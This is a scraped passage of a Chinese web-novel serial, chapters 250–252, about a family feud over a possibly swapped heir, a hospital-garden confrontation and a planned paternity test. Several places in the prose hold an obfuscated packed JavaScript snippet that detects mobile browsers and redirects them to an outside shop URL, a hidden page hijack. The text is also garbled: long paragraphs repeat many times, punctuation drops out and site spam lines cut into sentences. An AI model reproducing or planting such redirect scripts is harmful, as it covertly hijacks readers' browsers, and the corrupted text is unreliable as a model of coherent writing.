“放了?奶奶!您知道他都做了些什么吗?他可能调换了您的亲孙子!他可能害**我真正的兄长!他对不起我妈,对不起您,对不起整个陆家!他凭什么……” “就凭他是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“就凭……在真相大白、证据确凿之前,在法律和家族的规矩面前,他依然是你名义上的父亲,是陆氏曾经的家主。京洲,你想报仇,想讨回公道,奶奶支持你。但这条路,不能这样走。” 她倾身向前,紧紧握住陆京洲紧握的拳头,试图用自己掌心的温度去融化孙子的冰冷与暴戾。 “用非法的手段拘禁他,只会授人以柄,让你从有理变成无理,甚至可能把自己搭进去!你想让真正的恶人逍遥法外,而你自己却因为一时冲动铸成大错吗?” 都懂,甚至……奶奶心里的痛,未必比你少。” 她看着陆京洲,眼中是复杂难言的情绪。 “那是我的儿子,我再怎么失望,再怎么知道他走了歪路,他身体里流的,终究是我和你爷爷的血。沉奕……即便他可能不是你的亲大哥,但他也叫了我二十多年的奶奶。” “手足相残,骨肉倾轧,这是奶奶这辈子最不愿在陆家看到的景象。” 陆老太太的声音有些发颤,“你父亲有错,大错特错!如果查证属实,他必须付出代价,天大的代价!但这一切,不应该由你私自用这种方式来审判。” “把人放了,京洲。” 最后这句话,她说得斩钉截铁,带着不容抗拒的命令。 陆京洲的拳头骤然握紧,手背上青筋隐现。 他猛地抬头,眼中是压抑不住的怒火和不解。 “放了?奶奶!您知道他都做了些什么吗?他可能调换了您的亲孙子!他可能害**我真正的兄长!他对不起我妈,对不起您,对不起整个陆家!他凭什么……” “就凭他是你父亲!”陆老太太猛地提高声音打断他,手杖重重杵了一下地面,发出沉闷的响声。 但随即,她的语气又软了下来,带着深深的悲哀。 “就凭……在真相大白、证据确凿之前,在法律和家族的规矩面前,他依然是你名义上的父亲,是陆氏曾经的家主。京洲,你想报仇,想讨回公道,奶奶支持你。但这条路,不能这样走。” 她倾身向前,紧紧握住陆京洲紧握的拳头,试图用自己掌心的温度去融化孙子的冰冷与暴戾。 “用非法的手段拘禁他,只会授人以柄,让你从有理变成无理,甚至可能把自己搭进去!你想让真正的恶人逍遥法外,而你自己却因为一时冲动铸成大错吗?” 都懂,甚至……奶奶心里的痛,未必比你少。” 她看着陆京洲,眼中是复杂难言的情绪。 “那是我的儿子,我再怎么失望,再怎么知道他走了歪路,他身体里流的,终究是我和你爷爷的血。沉奕……即便他可能不是你的亲大哥,但他也叫了我二十多年的奶奶。” “手足相残,骨肉倾轧,这是奶奶这辈子最不愿在陆家看到的景象。” 陆老太太的声音有些发颤,“你父亲有错,大错特错!如果查证属实,他必须付出代价,天大的代价!但这一切,不应该由你私自用这种方式来审判。” “把人放了,京洲。” 最后这句话,她说得斩钉截铁,带着不容抗拒的命令。 陆京洲的拳头骤然握紧,手背上青筋隐现。 他猛地抬头,眼中是压抑不住的怒火和不解。 “放了?奶奶!您知道他都做了些什么吗?他可能调换了您的亲孙子!他可能害**我真正的兄长!他对不起我妈,对不起您,对不起整个陆家!他凭什么……” “就凭他是你父亲!”陆老太太猛地提高声音打断他,手杖重重杵了一下地面,发出沉闷的响声。 但随即,她的语气又软了下来,带着深深的悲哀。 “就凭……在真相大白、证据确凿之前,在法律和家族的规矩面前,他依然是你名义上的父亲,是陆氏曾经的家主。京洲,你想报仇,想讨回公道,奶奶支持你。但这条路,不能这样走。” 她倾身向前,紧紧握住陆京洲紧握的拳头,试图用自己掌心的温度去融化孙子的冰冷与暴戾。 “用非法的手段拘禁他,只会授人以柄,让你从有理变成无理,甚至可能把自己搭进去!你想让真正的恶人逍遥法外,而你自己却因为一时冲动铸成大错吗?” 第250章 谁敢欺负他,我跟谁拼命! “还有沉奕……陆老太太继续说道,语气带着一丝复杂的怜悯。 “如果他是无辜的,只是被他父亲摆布的棋子,你这样做,和你父亲当年的行为,又有多少本质的区别? 岑予衿感受到陆京洲身体的僵硬和颤抖,她知道他内心的挣扎与不甘。 她轻轻覆上他的手背,柔声却坚定地说,“阿洲,奶奶说得对。我们需要的是真相和公正的审判,不是私刑。把他们控制起来,虽然暂时安全,但确实不是长久之计,也容易落人口实。 陆京洲胸膛剧烈起伏了几下,他看看奶奶苍老却坚定的脸庞,又看看岑予衿满是担忧和劝慰的眼神。 那股几乎要冲破胸腔的戾气,在亲人的理智与温情中,一点点被压制下去。 他闭上眼睛,缓慢地吸了几口气。再睁开时,眼底的猩红褪去,取而代之的是一种更加深沉,也更加冰冷的决断。 “好。他终于开口,声音沙哑,“我听奶奶的。我会让人……‘请’他们回来。但奶奶,我需要保证。保证他们不会有机会销毁证据,不会有机会逃跑,不会有机会……再伤害我在意的人。 陆老太太点了点头,神色郑重,“放心,奶奶既然开了口,就会替你看着。 让他们回老宅,在老宅‘休养’。那里,奶奶还镇得住。在老宅里,他们接触不到外界,也做不了什么手脚。在你查清一切之前,他们不会离开老宅半步。这是我给你的保证。 “有奶奶这句话,就够了。陆京洲紧绷的肩膀终于放松了一些。 他拿起手机,走到一边,低声吩咐了几句。 挂断电话后,他回到沙发边,对陆老太太郑重地说,“奶奶,谢谢您。也请您……保重身体。接下来的事,可能会让您更伤心。 陆老太太摆了摆手,脸上露出一丝疲惫却坚韧的笑容。 “我这把老骨头,什么风浪没见过?只要是为了这个家好,为了你们好,再难捱,奶奶也撑得住。快,陪笙笙把汤喝了,凉了就没效用了。 岑予衿捧着温热的汤碗,鼻尖萦绕着淡淡的药材香与鸽子肉的鲜醇,心里暖得发涨。 她小口小口地喝着,汤不油不腻,正好合了坐月子的胃口,可没喝半碗,胃里就有些撑了。 月子里本就少食多餐,这一碗分量着实不少。 她放下汤勺,指尖轻轻摩挲着碗沿,抬眼看向身旁的陆京洲,眼底带着点小小的狡黠,“阿洲,我喝不完了,浪费了可惜,你帮我分担点? 陆 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 京洲刚坐下闻言立刻接过她手里的空汤勺又拿起她那只没喝完的汤碗动作自然得仿佛做过千百遍。 他没嫌她喝过直接舀了一勺送进嘴里温热的汤滑入喉咙驱散了方才心头的戾气只剩下满室的暖意。 “慢点喝别烫着。”岑予衿看着他伸手替他拂开额前垂落的碎发语气软得像棉花糖。 陆京洲喉结滚动咽下汤后反手握住她的手指尖摩挲着她细腻的手背声音低沉温柔“好喝吗?下次让厨房再炖天天给你送过来。” “好喝奶奶炖的最合心意。”岑予衿笑眼弯弯又转头看向陆老太太“奶奶您也喝一碗吧补补身子。” 陆老太太看着小两口这般亲昵脸上的皱纹都舒展开来摆了摆手“我在家喝过了你们喝就好。笙笙啊月子里就得这样少食多餐别贪多身子才能养得快。” “对了月子要坐够42天现在讲究科学坐月子奶奶不瞎掺和。” 她说着又看向陆京洲“阿洲你也别光顾着喝汤笙笙爱吃的那几样小菜夹给她吃。” “哎。”陆京洲应着立刻拿起公筷夹了一筷子清炒时蔬 岑予衿乖乖张嘴让他喂了一口嚼着清甜的蔬菜心里甜滋滋的。 她看着陆京洲低头喝汤的侧脸灯光落在他高挺的鼻梁上褪去了方才的冷硬只剩下温柔与安稳。 陆老太太坐在一旁看着眼前的画面眼底满是欣慰。 她端起茶杯抿了一口心里暗暗想着。 还好京洲身边有笙笙这样明事理、又贴心的姑娘不然这孩子指不定要钻到牛角尖里出不来。 陆家这潭浑水有他们俩一起趟总能慢慢清干净的。 陆京洲很快喝完了那半碗汤又给岑予衿剥了颗剥好的桂圆递到她嘴边“再吃点这个补气血。” 岑予衿张嘴含住甜丝丝的果肉在嘴里化开很甜。 陆老太太没待多久就走了。 岑予衿靠在床头看着窗外渐沉的暮色忽然扯了扯陆京洲的袖子。 “阿洲躺久了有点闷陪我下楼走走吧?就在住院部楼下花园里转转。” 陆京洲立刻皱眉“外面风大你还没出月子。” “就一会儿穿厚点。”岑予衿声音软下来带着点撒娇的意味“问过医生了说适当走动有利于恢复只要不 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 受凉就行。 看着她眼底的期盼,陆京洲终究拗不过。 他仔细地给她套上厚厚的羽绒服,围上羊绒围巾,戴上帽子,又检查了好几遍,确认裹得严严实实,才小心翼翼地扶她下床。 两人慢悠悠地走出病房,乘电梯下楼。 住院部楼下的小花园设计得颇为雅致,即使在冬日,也有常青的绿植和精心打理的步道。 暮色渐浓,路灯次第亮起,洒下昏黄温暖的光晕。 他们走得很慢,陆京洲的手臂始终稳稳地扶在岑予衿腰间,将她半护在怀里,隔绝可能的微风。 岑予衿靠着他,呼吸着室外清冷的空气,感觉胸腔里的郁气都散了不少。 “是不是舒服点了?陆京洲低头看她,声音温和。 “嗯。岑予衿点点头,将脸往他臂弯里蹭了蹭,“感觉整个人都活过来了。 两人沿着步道缓缓走着,不知不觉,绕到了另一栋住院楼附近。 这里环境更幽静些,楼体外观也更显高级。 岑予衿抬头看了一眼楼层指示牌,心微微沉了沉,这是VIP病房区。 她下意识地看向陆京洲,果然见他脚步几不可察地顿了一下,下颌线微微收紧 岑予衿正想开口说“我们往回走吧,突然,前方转角处传来急促而凌乱的高跟鞋脚步声。 一个身影猛地冲了出来。 那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他没有立刻看苏月兰,而是先低头,握住了挡在他身前、浑身紧绷的岑予衿冰凉的手。 将她轻轻拉回自己身边,用身体半掩住她,确保苏月兰无法再触碰到她分毫。 岑予衿却用力挣开了他的手。 她平时温婉柔和,此刻动作却异常决绝。 她几步又走到陆京洲身前,不再是方才下意识的阻挡,而是直面着被保镖架住、仍在歇斯底里的苏月兰。 “苏女士。”岑予衿开口,声音不高,却异常清晰冰冷,带着产后不久特有的虚弱气音,却有一种不容侵犯的锐利,“请你,注意你的言行。” 苏月兰被这从未见过的、来自岑予衿的冰冷态度弄得怔了一瞬,随即更加狂怒,“你算什么东西!这是我们陆家的事,轮得到你插嘴?!你不过是……” “我是陆京洲的妻子。”岑予衿打断她,一字一顿,目光如淬了冰,“他是我的丈夫,我孩子的父亲。任何人,没有资格动他。” 话音未落,在所有人,包括陆京洲惊愕的目光中,岑予衿扬起手——“啪!” 清脆而利落的一记耳光,狠狠甩在了苏月兰的脸上。 力道或许不如苏月兰方才那一下重,但其中的决绝与护短的意味,却震慑了在场每一个人。 苏月兰被打得头一偏,彻底呆住了,脸上火辣辣的疼。 更多的是一种被彻底冒犯、被一个她从未放在眼里的“小辈”反击的难以置信。 花园里死一般的寂静。 第251章 不知道的还以为你是他的亲生母亲 苏月兰捂着脸颊,眼睛瞪得溜圆,像是第一次真正看清岑予衿这个人。 短暂的震惊过后,是更加汹涌的羞愤和狂怒,她尖声嘶叫起来,“你敢打我?!你这个没教养的死女人,有娘生没娘养,活该你爸妈……” “没教养的是你!” 岑予衿上前一步,毫不退缩地逼视着她,产后单薄的身体里爆发出惊人的力量,声音不高,却字字如刀,割破寒夜的寂静,“为老不尊,是非不分,撒泼打滚,你配谈教养?!” “陆沉奕做了什么,你心里真的一点数都没有吗?还是你揣着明白装糊涂,只想把所有过错都推给别人,好维持你那可怜又可悲的慈母形象?!” 苏月兰被她一连串的诘问砸得有些懵,随即更加激动地挣扎,试图摆脱保镖的钳制。 “你胡说!沉奕他什么都没做!都是他!是陆京洲害他!是他容不下自己哥哥!” “容不下?”岑予衿冷笑,那笑意却未达眼底,只有一片冰寒。 “陆京洲若真容不下他,他还能有今天?还能一次次在背后搞那些上不得台面的小动作?苏月兰,你扪心自问,陆京洲对他,还不够宽容吗?!” “至于你,”岑予衿的目光掠过她,扫向陆京洲脸上尚未消退的红痕,心口那团火烧得更旺,她甚至觉得指尖都在发烫,“你有什么资格打他?凭你是他继母?还是凭你是他小姨?” “一个抢了自己亲姐姐丈夫、登堂**的女人,一个纵容儿子觊觎家产、暗箭伤人的母亲,你有什么脸面站在这里,摆出这副受害者的姿态,来指责真正在守护这个家的人?!” 这话说得极重,几乎是将苏月兰最不堪的旧伤疤血淋淋地撕开。 苏月兰的脸色瞬间惨白如纸,嘴唇哆嗦着,却一时找不到话来反驳,只剩胸膛剧烈起伏,呼哧呼哧地喘着粗气。 “我告诉你,”岑予衿逼近一步,气势逼人,“以前我敬你,是看在你是长辈的份上,更是看陆京洲的面子。可你既然先动手,那就别怪我不给你留脸!” 她转头,看向那两个有些不知所措的保镖,声音清晰而冷硬,“架住了!今天谁也别想轻轻松松离开!” 保镖下意识看向陆京洲,陆京洲却只是沉默地站在那里,目光紧紧锁在岑予衿身上,眼底翻涌着复杂难言的情绪,有震惊,有动容,更有一种被全然庇护的、近乎陌生的暖流。 他没有出声阻止,便是默许。 岑予衿得到了无声的支持,转回头,继续对苏月兰输出,语速不快, 却句句诛心: “陆沉奕被‘请’回老宅,是老太太点头、为了查明真相、避免有人再做手脚的权宜之计!不是陆京洲要私下处置他!老太太还在,陆家的规矩还没死透,轮不到你在这里污蔑他滥用私刑!” “你口口声声要儿子,那你知不知道,你儿子可能参与了多肮脏的事情。 看你这激动到不行的模样,不知道的还真以为是你亲生儿子。” “我不知道你为什么会对他们兄弟俩区别对待,也想不清楚陆沉奕那个白眼狼,为什么会在母亲去世后没多久就叛变,总之他虽然不是你亲生的,却胜似你亲生的,跟你简直是一个模子里刻出来的,贱到没边了。” 岑予衿是真的很生气,骂着骂着已经骂爽了。 “你是不是巴不得事情闹大,好让你那宝贝儿子有机会浑水摸鱼,或者让你自己显得多么无辜可怜?!” 苏月兰被骂得节节败退,脸上青红交错,最初的嚣张气焰早已熄灭,只剩下狼狈和难堪。 她想要反驳,却发现岑予衿的每一句话都像钉子一样,精准地钉在她的痛处和心虚点上。 “我……我没有……沉奕他是被逼的……”她喃喃着,气势全无。 “被谁逼的?被贪心逼的?被野心逼的?还是被他那个利欲熏心的父亲逼的?” 岑予衿毫不留情,“苏月兰,你也是做过母亲的人,如果你的孩子被人这样算计、伤害,你会像现在这样,不分青红皂白地去打那个一直在查明真相、试图拨乱反正的人吗?!” 她顿了顿,喘了口气,产后体虚让她微微有些眩晕,但脊背依旧挺得笔直。 “这一巴掌,”她指了指陆京洲的脸,又指了指苏月兰脸上的红痕,“是我替我丈夫还你的。你不心疼他,我心疼。从今往后,你再敢动他一下,再敢用这种污言秽语诋毁他,我岑予衿绝不罢休!陆家讲规矩,我岑予衿不讲的时候,你大可以试试!” 说完,她不再看瘫软下去、被保镖牢牢架住的苏月兰,转身,拉住陆京洲的手。 她的手很凉,还在微微发抖,但握住他的力道却很紧。 “阿洲,我们回去。”她的声音软了下来,带着一丝疲惫,却异常坚定。 陆京洲反手将她冰凉的手完全包裹进自己温热的掌心,另一只手揽住她的肩,将她牢牢护在怀里,隔绝了身后所有的混乱与不堪。 他什么也没说,只是低下头,用下巴轻轻蹭了蹭她的发顶,然后拥着她,一步一步,稳稳地朝着他们病房的方向走去。 昏黄的路灯将两人的影子拉得很长,紧紧依偎在一起。 岑予衿的话像倒是点醒了陆京洲。 他拥着岑予衿往回走,步伐沉稳,后背却微微僵硬,脑海中疯狂回放着过往的碎片。 苏月兰对陆沉奕……那份近乎偏执的维护,那种发自骨子里的紧张和心疼,确实非同寻常。 陆沉奕幼年丧母,苏月兰作为亲小姨,多加照拂似乎合情合理,甚至当年父亲续娶苏月兰,一部分原因也是希望能有人更好地照顾失去生母的长子。 但那份“照拂”,早已超出了寻常继母的范畴。 陆沉奕犯错,苏月兰总是第一时间替他遮掩、求情; 陆沉奕想要什么,苏月兰想方设法满足,哪怕有时会损害到自己亲生儿子陆栩然的利益。 陆沉奕稍微有点头疼脑热,苏月兰就紧张得不行,亲自端汤送药,守在一旁…… 以前,陆京洲只当是这个继母手段高明,懂得笼络人心,用对前头儿子无微不至的关怀来稳固自己在陆家的地位,也麻痹了父亲。 而陆沉奕,或许是为了生存,或许是本性趋利,顺水推舟认下了这份“母爱”,两人各取所需,演着一出母慈子孝的戏码。 可现在看来,那根本不是什么“演戏”! 苏月兰刚才那癫狂的模样,那不顾一切扑上来撕打、只为替陆沉奕“讨公道”的劲头,哪里还有半分平日刻意维持的温婉形象? 那是一个母亲在认为孩子受到致命威胁时,才会爆发出的、近乎野兽护崽般的本能! 还有她脱口而出的那些话——“那是你亲哥哥!”“把他还给我!” 那份理所当然的归属感和占有欲,绝非一个普通的、甚至带有功利目的的继母能有。 以及岑予衿那句无心却尖锐的质问:“不知道的还真以为是你亲生儿子。” 亲生儿子…… 一个可怕的猜想在陆京洲心中迅速成型,冰冷刺骨。 如果……如果陆沉奕根本就是苏月兰的亲生儿子呢? 时间线……母亲去世前,苏月兰就已经频繁出入陆家,以妹妹的身份照顾生病的姐姐。 母亲去世后不到半年,父亲就续娶了苏月兰,理由是照顾幼子,延续“母亲”的关爱。 当时只觉得父亲薄情,苏月兰趁虚而入。 但如果,他们早有私情,甚至…… 陆京洲猛地握紧了拳,指甲深深嵌入掌心,带来尖锐的痛感,却比不上心头泛起的恶心与寒意。 苏月兰对陆沉奕超乎寻常的宠爱,对陆栩然这个亲生儿子反倒显得平淡甚至有时苛刻的态度,对陆京洲这个原配嫡子表面客气内里藏针的复杂情绪…… 一切似乎都有了更合理、也更肮脏的解释。 她抢了姐姐的丈夫,或许还生下了私生子,却让这个孩子顶着原配嫡长子的名头,享受着陆家的一切。 而她,则以“继母”的身份,名正言顺地留在陆家,守护着她的儿子,并试图为他谋划更多,甚至不惜清除障碍——比如陆京洲。 “阿洲?”岑予衿察觉到他的异样,停下脚步,仰头看他。 路灯下,他脸色沉得可怕,眼底翻涌着她从未见过的惊涛骇浪,那不仅仅是愤怒,还有一种被背叛的痛楚,以及……一丝恍然后的冰冷杀意。 她心里一紧,握紧了他的手。 “你怎么了?是不是哪里不舒服?还是……我说错什么了?”她有些忐忑,刚才是不是骂得太狠,牵连到他了? 陆京洲低头,对上她担忧的眼睛。那里面映着他的影子,清澈,专注,满是毫不掩饰的关切和维护。 方才她挡在他身前,为他反击,字字铿锵的模样,再次浮现眼前。 心口的冰冷,被她眼中的暖意驱散了些许。 他深吸一口气,强行压下胸腔里翻腾的戾气和那个尚未证实的可怕猜想。 现在不是失控的时候,尤其是在她面前,在她刚刚生产完、身体还虚弱的时候。 “没有,笙笙,你没说错。”他声音有些沙哑,抬手轻轻抚了抚她苍白的脸颊,指尖带着安抚的力道,“你说得很好。非常好。” 他顿了顿,将她更紧地搂入怀中,声音低沉却坚定,“是你说的话,提醒了我一些……以前从没想过的事情。” 岑予衿眨眨眼,似乎明白了什么,试探着问,“是关于……苏月兰和陆沉奕?” 苏月兰对陆沉奕超乎寻常的宠爱,对陆栩然这个亲生儿子反倒显得平淡甚至有时苛刻的态度,对陆京洲这个原配嫡子表面客气内里藏针的复杂情绪…… 一切似乎都有了更合理、也更肮脏的解释。 她抢了姐姐的丈夫,或许还生下了私生子,却让这个孩子顶着原配嫡长子的名头,享受着陆家的一切。 而她,则以“继母”的身份,名正言顺地留在陆家,守护着她的儿子,并试图为他谋划更多,甚至不惜清除障碍——比如陆京洲。 “阿洲?”岑予衿察觉到他的异样,停下脚步,仰头看他。 路灯下,他脸色沉得可怕,眼底翻涌着她从未见过的惊涛骇浪,那不仅仅是愤怒,还有一种被背叛的痛楚,以及……一丝恍然后的冰冷杀意。 她心里一紧,握紧了他的手。 “你怎么了?是不是哪里不舒服?还是……我说错什么了?”她有些忐忑,刚才是不是骂得太狠,牵连到他了? 陆京洲低头,对上她担忧的眼睛。那里面映着他的影子,清澈,专注,满是毫不掩饰的关切和维护。 方才她挡在他身前,为他反击,字字铿锵的模样,再次浮现眼前。 心口的冰冷,被她眼中的暖意驱散了些许。 他深吸一口气,强行压下胸腔里翻腾的戾气和那个尚未证实的可怕猜想。 现在不是失控的时候,尤其是在她面前,在她刚刚生产完、身体还虚弱的时候。 “没有,笙笙,你没说错。”他声音有些沙哑,抬手轻轻抚了抚她苍白的脸颊,指尖带着安抚的力道,“你说得很好。非常好。” 他顿了顿,将她更紧地搂入怀中,声音低沉却坚定,“是你说的话,提醒了我一些……以前从没想过的事情。” 岑予衿眨眨眼,似乎明白了什么,试探着问,“是关于……苏月兰和陆沉奕?” 苏月兰对陆沉奕超乎寻常的宠爱,对陆栩然这个亲生儿子反倒显得平淡甚至有时苛刻的态度,对陆京洲这个原配嫡子表面客气内里藏针的复杂情绪…… 一切似乎都有了更合理、也更肮脏的解释。 她抢了姐姐的丈夫,或许还生下了私生子,却让这个孩子顶着原配嫡长子的名头,享受着陆家的一切。 而她,则以“继母”的身份,名正言顺地留在陆家,守护着她的儿子,并试图为他谋划更多,甚至不惜清除障碍——比如陆京洲。 “阿洲?”岑予衿察觉到他的异样,停下脚步,仰头看他。 路灯下,他脸色沉得可怕,眼底翻涌着她从未见过的惊涛骇浪,那不仅仅是愤怒,还有一种被背叛的痛楚,以及……一丝恍然后的冰冷杀意。 她心里一紧,握紧了他的手。 “你怎么了?是不是哪里不舒服?还是……我说错什么了?”她有些忐忑,刚才是不是骂得太狠,牵连到他了? 陆京洲低头,对上她担忧的眼睛。那里面映着他的影子,清澈,专注,满是毫不掩饰的关切和维护。 方才她挡在他身前,为他反击,字字铿锵的模样,再次浮现眼前。 心口的冰冷,被她眼中的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113120|191758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暖意驱散了些许。 他深吸一口气,强行压下胸腔里翻腾的戾气和那个尚未证实的可怕猜想。 现在不是失控的时候,尤其是在她面前,在她刚刚生产完、身体还虚弱的时候。 “没有,笙笙,你没说错。”他声音有些沙哑,抬手轻轻抚了抚她苍白的脸颊,指尖带着安抚的力道,“你说得很好。非常好。” 他顿了顿,将她更紧地搂入怀中,声音低沉却坚定,“是你说的话,提醒了我一些……以前从没想过的事情。” 岑予衿眨眨眼,似乎明白了什么,试探着问,“是关于……苏月兰和陆沉奕?” 苏月兰对陆沉奕超乎寻常的宠爱,对陆栩然这个亲生儿子反倒显得平淡甚至有时苛刻的态度,对陆京洲这个原配嫡子表面客气内里藏针的复杂情绪…… 一切似乎都有了更合理、也更肮脏的解释。 她抢了姐姐的丈夫,或许还生下了私生子,却让这个孩子顶着原配嫡长子的名头,享受着陆家的一切。 而她,则以“继母”的身份,名正言顺地留在陆家,守护着她的儿子,并试图为他谋划更多,甚至不惜清除障碍——比如陆京洲。 “阿洲?”岑予衿察觉到他的异样,停下脚步,仰头看他。 路灯下,他脸色沉得可怕,眼底翻涌着她从未见过的惊涛骇浪,那不仅仅是愤怒,还有一种被背叛的痛楚,以及……一丝恍然后的冰冷杀意。 她心里一紧,握紧了他的手。 “你怎么了?是不是哪里不舒服?还是……我说错什么了?”她有些忐忑,刚才是不是骂得太狠,牵连到他了? 陆京洲低头,对上她担忧的眼睛。那里面映着他的影子,清澈,专注,满是毫不掩饰的关切和维护。 方才她挡在他身前,为他反击,字字铿锵的模样,再次浮现眼前。 心口的冰冷,被她眼中的暖意驱散了些许。 他深吸一口气,强行压下胸腔里翻腾的戾气和那个尚未证实的可怕猜想。 现在不是失控的时候,尤其是在她面前,在她刚刚生产完、身体还虚弱的时候。 “没有,笙笙,你没说错。”他声音有些沙哑,抬手轻轻抚了抚她苍白的脸颊,指尖带着安抚的力道,“你说得很好。非常好。” 他顿了顿,将她更紧地搂入怀中,声音低沉却坚定,“是你说的话,提醒了我一些……以前从没想过的事情。” 岑予衿眨眨眼,似乎明白了什么,试探着问,“是关于……苏月兰和陆沉奕?” 苏月兰对陆沉奕超乎寻常的宠爱,对陆栩然这个亲生儿子反倒显得平淡甚至有时苛刻的态度,对陆京洲这个原配嫡子表面客气内里藏针的复杂情绪…… 一切似乎都有了更合理、也更肮脏的解释。 她抢了姐姐的丈夫,或许还生下了私生子,却让这个孩子顶着原配嫡长子的名头,享受着陆家的一切。 而她,则以“继母”的身份,名正言顺地留在陆家,守护着她的儿子,并试图为他谋划更多,甚至不惜清除障碍——比如陆京洲。 “阿洲?”岑予衿察觉到他的异样,停下脚步,仰头看他。 路灯下,他脸色沉得可怕,眼底翻涌着她从未见过的惊涛骇浪,那不仅仅是愤怒,还有一种被背叛的痛楚,以及……一丝恍然后的冰冷杀意。 她心里一紧,握紧了他的手。 “你怎么了?是不是哪里不舒服?还是……我说错什么了?”她有些忐忑,刚才是不是骂得太狠,牵连到他了? 陆京洲低头,对上她担忧的眼睛。那里面映着他的影子,清澈,专注,满是毫不掩饰的关切和维护。 方才她挡在他身前,为他反击,字字铿锵的模样,再次浮现眼前。 心口的冰冷,被她眼中的暖意驱散了些许。 他深吸一口气,强行压下胸腔里翻腾的戾气和那个尚未证实的可怕猜想。 现在不是失控的时候,尤其是在她面前,在她刚刚生产完、身体还虚弱的时候。 “没有,笙笙,你没说错。”他声音有些沙哑,抬手轻轻抚了抚她苍白的脸颊,指尖带着安抚的力道,“你说得很好。非常好。” 他顿了顿,将她更紧地搂入怀中,声音低沉却坚定,“是你说的话,提醒了我一些……以前从没想过的事情。” 岑予衿眨眨眼,似乎明白了什么,试探着问,“是关于……苏月兰和陆沉奕?” 苏月兰对陆沉奕超乎寻常的宠爱,对陆栩然这个亲生儿子反倒显得平淡甚至有时苛刻的态度,对陆京洲这个原配嫡子表面客气内里藏针的复杂情绪…… 一切似乎都有了更合理、也更肮脏的解释。 她抢了姐姐的丈夫,或许还生下了私生子,却让这个孩子顶着原配嫡长子的名头,享受着陆家的一切。 而她,则以“继母”的身份,名正言顺地留在陆家,守护着她的儿子,并试图为他谋划更多,甚至不惜清除障碍——比如陆京洲。 “阿洲?”岑予衿察觉到他的异样,停下脚步,仰头看他。 路灯下,他脸色沉得可怕,眼底翻涌着她从未见过的惊涛骇浪,那不仅仅是愤怒,还有一种被背叛的痛楚,以及……一丝恍然后的冰冷杀意。 她心里一紧,握紧了他的手。 “你怎么了?是不是哪里不舒服?还是……我说错什么了?”她有些忐忑,刚才是不是骂得太狠,牵连到他了? 陆京洲低头,对上她担忧的眼睛。那里面映着他的影子,清澈,专注,满是毫不掩饰的关切和维护。 方才她挡在他身前,为他反击,字字铿锵的模样,再次浮现眼前。 心口的冰冷,被她眼中的暖意驱散了些许。 他深吸一口气,强行压下胸腔里翻腾的戾气和那个尚未证实的可怕猜想。 现在不是失控的时候,尤其是在她面前,在她刚刚生产完、身体还虚弱的时候。 “没有,笙笙,你没说错。”他声音有些沙哑,抬手轻轻抚了抚她苍白的脸颊,指尖带着安抚的力道,“你说得很好。非常好。” 他顿了顿,将她更紧地搂入怀中,声音低沉却坚定,“是你说的话,提醒了我一些……以前从没想过的事情。” 岑予衿眨眨眼,似乎明白了什么,试探着问,“是关于……苏月兰和陆沉奕?” 第252章 将私生子养在自己原配名下 陆京洲没有否认只是眼神更深沉了些“还需要查证。但……你的直觉可能很接近真相了。” 他不想让她过多卷入这些肮脏的猜测和可能随之而来的腥风血雨便转了话题“外面冷先回去。你刚生完气不能受凉宝宝估计也醒了。” “嗯。”岑予衿乖顺地点点头靠着他继续往前走心里却因为他的话而掀起了波澜。 如果陆沉奕真是苏月兰的亲生儿子……那陆家这潭水比她想象得还要深还要脏。 而她的阿洲从小到大又是在怎样的算计和虚伪中长大的? 回到温暖的病房陆京洲仔细帮岑予衿脱下厚重的外套扶她躺回床上盖好被子。 又去倒了杯温水看着她小口小口喝下。 做完这一切他坐在床边握着她的手沉默了片刻。 “笙笙”他开口目光深邃地看着她“谢谢你。” 岑予衿摇摇头“谢什么你是我丈夫。” “谢谢你护着我。”陆京洲的声音很轻却重如千钧“从来没有人……像你这样不问缘由毫不犹豫地挡在我前面。” 即使是奶奶更多也是用理智和亲情规劝他并不会如此猛烈地回击伤害他的人。 岑予衿笑了眉眼弯弯带着点产后特有的柔软光辉“因为是你啊。” 那么简单 陆京洲心头最坚硬的地方仿佛被这句话彻底融化。 他俯身在她额头上落下一个极其轻柔的吻带着无比的珍视。 “阿洲怀疑了就去做亲子鉴定吧这是最快的办法也是能最快将他们钉在耻辱柱上的办法。” 听到岑予衿冷静的提议陆京洲缓缓直起身眼底那抹被温情软化的光芒重新凝聚淬炼成冰冷而坚硬的决心。 他点了点头下颌线绷得有些紧。 “你说得对最快也最无可辩驳。”他声音低沉带着一种近乎残忍的冷静“笙笙你先休息我让月嫂和保镖守在外面。我……需要立刻回一趟老宅。” 有些东西必须尽快拿到手。迟则生变。 岑予衿理解地点头没有多问只是抓紧了他的手“小心点。我和宝宝等你回来。” 陆京洲再次俯身在她唇上印下短暂却坚定的一吻“很快。” 他转身方才面对岑予衿时的柔和瞬间敛去周身气场变得冷峻而迫人。 他一边往外走一边拨通了几个电话简 你的朋友正在书荒,快去帮帮他吧 短地布置着任务:增派人手暗中保护医院病房。 派人盯紧苏月兰和陆沉奕的所有动向;以及调集他最信任的一队人即刻前往陆家老宅。 夜色中的陆家老宅灯火通明却透着一股山雨欲来的压抑。 